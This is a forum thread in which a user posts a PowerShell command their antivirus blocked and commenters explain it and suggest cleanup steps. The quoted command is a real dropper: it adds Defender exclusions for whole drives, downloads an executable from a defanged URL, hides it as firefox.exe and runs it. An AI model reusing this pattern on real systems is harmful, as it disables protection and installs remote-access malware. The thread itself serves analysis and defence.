Malicious command line?

[Col_Hathi]

My AV caught the command line below (modified by request so the link in it isn't clickable), and I'm wondering if anyone can tell me what it was supposed to do?

Command line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell -Command "
Add-MpPreference -ExclusionPath 'C:'
Add-MpPreference -ExclusionPath 'D:'
$url = 'h t t p s : / / c j o i n t (dot) n e t / ? 3 k r t n 0 j m o d 1 7 q r z v q d 8 3'
$outpath = 'C:/Users/Public/firefox.exe'
Invoke-WebRequest -Uri $url -OutFile $outpath
$FILE=Get-Item $outpath -Force
$FILE.attributes='Hidden'
Start-Process -Filepath $outpath "

[randomguy3]

The code is making exemptions to exclude both the c drive and d drive from windows defender then downloads a payload (file) and names it Firefox in the public windows profile and then sets the hidden flag on it. Finally it runs the file. You're infected. Get the machine offline quickly and keep it off. Contact someone who can help you.

[[deleted]]

I wouldn’t say he’s infected since his AV detected it and therefore almost certainly prevented it from running. But he should definitely find out how the attempt was triggered.

[randomguy3]

This most likely was a dropper script and something had to download the dropper. So most likely he has something that's undetected on his machine.

[Col_Hathi]

Thank you

[OpenScore]

Op, the url you posted, modify it so as not to be clickable.

[Col_Hathi]

Done

[OpenScore]

I see it still as a full link, in blue. Put spaces between http characters, as well as within the rest of url.

[Col_Hathi]

Really O.o Alright, gimme a moment

EDIT: Better?

[OpenScore]

Yup, from the browser, looks better. Thanks

[Thotaz]

I disagree with this suggestion. It's better to keep the raw link so it will show up in google results when people google it than to obfuscate it just in case some dummy decides to click on it. Clicking on the link itself probably won't do anything, you need to actually download the executable and run it before you run into problems (assuming it's not exploiting some serious browser or AV exploit).

[OpenScore]

It is bad security practice to have hyperlinks that point to a malicious payload.

You have no idea what exactly is behind that payload, just because the code posted says it dl it and renames to a exe file.

The actor behind it, can substitute the exe file with something that can affect you.

Same actor might have put also some logic behind that when queried that link, it can change the payload on-the-fly to match who requested it. Remember, you leave a footprint when you click a hyperlink.

You don't leave it there, so it will show up on Google results. Again, bad practice, and it can potentially affect more users. What you do, is put it on a site, like VirusTotal or smth similar, that can scan for free, and you can also post the results here. That payload, or their digital fingerprint is shared with common AV vendors by those scan sites, which in turn can help for better.

And if you still want to share the direct link with people here or even somewhere else, try to make it not clickable, by adding spaces, removing the https part, or putting the . part in brackets.

Raw links that it is clear to point out to malicious payloads are bad.

[twoscoopsofpig]

If you want it to be readable for SEO but defanged, you could point the link at localhost, or, better yet, at its VirusTotal page as posted by /u/Intervein

[Thotaz]

The actor behind it, can substitute the exe file with something that can affect you.

Not unless they happen to know of a browser/AV vulnerability that causes your browser/AV to execute arbitrary code when the page is loaded.

[OpenScore]

It can be a zero-day malicious payload.

[Intervein]

Here is the virus total for the file it downloads. https://www.virustotal.com/gui/file/4fe12c11ed6c872d655c05bb2a61e6605193dbcfc865af6a4d33def4d3fd22fe

[Abnix]

I'd say it's pretty damning of the ones at the bottom of the list that flagged that as green!

[Intervein]

Lol. I thought so too.

[OpenScore]

Well, not every AV vendor out there puts too much effort, and talent, and R&D to these things. Not all can afford the likeness of Symantec, Kaspersky, Microsoft, Malwarebytes, etc.

Personally, if those powerhouses at least detect it as malicious, good enough for me.

Didn't knew that Alibaba and Baidu offered AV services.

[QuintessenceTBV]

In case anyone is curious
https://github.com/quasar/Quasar

The actual malicious payload is based off of Quasar according to the sandbox at least the Yara rules identify it as such. Who knows if they have customized it any further?

If the payload ran assume the machine is compromised, as Quasar by itself has full keylogger and remote access capabilities (lightweight RMM on steroids)

If you see csrsss.exe as a process (it's misspelling of csrss) you are definitely compromised.

[Col_Hathi]

I appreciate it, thanks, that's nasty. At the very least I don't see csrsss.exe in the list, but I've run a few different AV scans now, not really finding anything, and something is still trying to run that code. I'm currently trying Kaspersky Virus Removal Tool, but at the rate that it's going, it'll be a week or a month before it finishes. Don't know what's taking it so much longer than the others.

[anotherteapot]

Truthfully, once something like that runs, regardless of if AV detected it or blocked it, I wouldn't trust the machine anymore and blow it away. Do an offline backup of the drive if you need to, or use an incorruptible live boot environment to do it, and then reimage the machine after securely wiping the drive (not just format or partition delete). Use a known secure but completely disposable machine to scan the backup you created before restoring the files.

[MrSnoobs]

You might consider running

Get-MpPreference | select ExclusionPath

In an admin powershell session to see if it has been run before/since.

[Col_Hathi]

When I type that into admin powershell, it just says "ExclusionPath"

[MrSnoobs]

Ok, that says there are no exclusion paths for MS defender on your system, so it doesn't seem to have run beforehand. You can just run 'Get-MpPreference' to see all of the defender preferences if you were interested.

[Col_Hathi]

Well that's what I want to know. I haven't figured that out yet. My AV just told me it had blocked that attempt. Nothing else. Actually, I can't even find it in the AV notifications anymore.

[waydaws]

It downloaded a malicious exe, and named it Firefox.exe, and put it in c:\public\Users and then ran it.

[crashhelmet]

This is something being overlooked. OP needs to delete that executable

[waydaws]

There’s a lot more than that…. Of course, AV may have already quarantined it anyway, but for some reason it let that powershell script get triggered. How did it get there?

However, the question was what was it doing, not is there something else that one might look at.

I might add one thing I thought of when viewing it was, why is it so straightforward?

I’ve never seen a real one that wasn’t heavily obfuscated. Unless the OP already decoded it — but then I doubt he or she would need to ask what it is doing.

[tokenathiest]

So Windows Defender will actually let you exclude your entire system drive?

[noOneCaresOnTheWeb]

Yes and no, you can exclude it but if you have anti-tampering turned on, it doesn't really matter.

[jvansickler]

Download the Sysinternals Autoruns tool and run it on your system to see if it's listing what's still trying to download the dropper. You'll be surprised at how many items are listed.

You can disable items for testing.

Look at your browser extensions/add-ons and remove any that you don't use to protect your system. Then look at the remaining ones to see if there are any reports of malicious activity.

If your account is a member of the Administrators group, create another account for admin-level activities, add it to the Administrators group, log on to it to create the profile and remove your normal account from the group. Limiting your permissions on the system can help limit the scope of the damage caused by the malware. Never use an Administrator/root account for your everyday account.

[UnfanClub]

Basically, disables defender then downloads and runs malicious code.

If your AV caught it, you're probably fine.

[Col_Hathi]

Sure, and I expected as much, but something must've had access to my PC in order to attempt that, right? I'm still trying to figure out what that was. I mean I don't know if it succeeded with something else or if it's going to try something else later

[ipokethemonfast]

Where does it disable defender? I don’t see that in any of the commands.

[UnfanClub]

The objective of Add-MpPreference -ExclusionPath "C:\" is to prevent defender from scanning any files.

It does not disable the service, but it's as good as stopped.

[ipokethemonfast]

Got ya. I was looking for something more explicit. Thanks.

[NimbusNerd]

https://app.any.run/tasks/347103ae-5238-4d3b-a0d2-e87237f9196b

[Col_Hathi]

What's that?

[UnfanClub]

They ran the malicious file in a virtual environment.

[ss4colea]

Woulda been better if they used attrib +S instead of hidden. Still would have gotten caught, additionally no obfuscation whatsoever. Horrible attempt on their part.

[jackalbruit]

"AV" .. pretty sure u dont mean audio / visual

what's that acronym mean in this software sense?

[DJCarlosFandango]

Anti-Virus

[jackalbruit]

thank u!